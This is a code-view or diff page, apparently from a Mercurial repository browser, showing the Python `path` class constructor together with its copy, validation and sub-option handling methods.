737 780 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
738 781 """Construct a path from its config options.
739 782
740 783 ``ui`` is the ``ui`` instance the path is coming from.
741 784 ``name`` is the symbolic name of the path.
742 785 ``rawloc`` is the raw location, as defined in the config.
743 786 ``pushloc`` is the raw locations pushes should be made to.
744 787
745 788 If ``name`` is not defined, we require that the location be a) a local
746 789 filesystem path with a .hg directory or b) a URL. If not,
747 790 ``ValueError`` is raised.
748 791 """
749 792 if ui is None:
750 793 # used in copy
751 794 assert name is None
752 795 assert rawloc is None
753 796 assert suboptions is None
754 797 return
755 798
756 799 if not rawloc:
757 800 raise ValueError(b'rawloc must be defined')
758 801
759 802 # Locations may define branches via syntax <base>#<branch>.
760 803 u = url(rawloc)
761 804 branch = None
762 805 if u.fragment:
763 806 branch = u.fragment
764 807 u.fragment = None
765 808
766 809 self.url = u
767 810 # the url from the config/command line before dealing with `path://`
768 811 self.raw_url = u.copy()
769 812 self.branch = branch
770 813
771 814 self.name = name
772 815 self.rawloc = rawloc
773 816 self.loc = b'%s' % u
774 817
775 818 self._validate_path()
776 819
777 820 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
778 821 self._own_sub_opts = {}
779 822 if suboptions is not None:
780 823 self._own_sub_opts = suboptions.copy()
781 824 sub_opts.update(suboptions)
782 825 self._all_sub_opts = sub_opts.copy()
783 826
784 827 self._apply_suboptions(ui, sub_opts)
785 828
786 829 def copy(self):
787 830 """make a copy of this path object"""
788 831 new = self.__class__()
789 832 for k, v in self.__dict__.items():
790 833 new_copy = getattr(v, 'copy', None)
791 834 if new_copy is not None:
792 835 v = new_copy()
793 836 new.__dict__[k] = v
794 837 return new
795 838
796 839 def _validate_path(self):
797 840 # When given a raw location but not a symbolic name, validate the
798 841 # location is valid.
799 842 if (
800 843 not self.name
801 844 and not self.url.scheme
802 845 and not self._isvalidlocalpath(self.loc)
803 846 ):
804 847 raise ValueError(
805 848 b'location is not a URL or path to a local '
806 849 b'repo: %s' % self.rawloc
807 850 )
808 851
809 852 def _apply_suboptions(self, ui, sub_options):
810 853 # Now process the sub-options. If a sub-option is registered, its
811 854 # attribute will always be present. The value will be None if there
812 855 # was no valid sub-option.
813 856 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
814 857 if suboption not in sub_options:
815 858 setattr(self, attr, None)
816 859 continue
817 860
818 861 value = func(ui, self, sub_options[suboption])
819 862 setattr(self, attr, value)
820 863
821 864 def _isvalidlocalpath(self, path):
822 865 """Returns True if the given path is a potentially valid repository.
823 866 This is its own function so that extensions can change the definition of
824 867 'valid' in this case (like when pulling from a git repo into a hg
825 868 one)."""
826 869 try:
827 870 return os.path.isdir(os.path.join(path, b'.hg'))
828 871 # Python 2 may return TypeError. Python 3, ValueError.
829 872 except (TypeError, ValueError):
830 873 return False
831 874
832 875 @property
833 876 def suboptions(self):
834 877 """Return sub-options and their values for this path.
835 878
836 879 This is intended to be used for presentation purposes.
837 880 """
838 881 d = {}
839 882 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
840 883 value = getattr(self, attr)
841 884 if value is not None:
842 885 d[subopt] = value
843 886 return d
General Comments 0
You need to be logged in to leave comments. Login now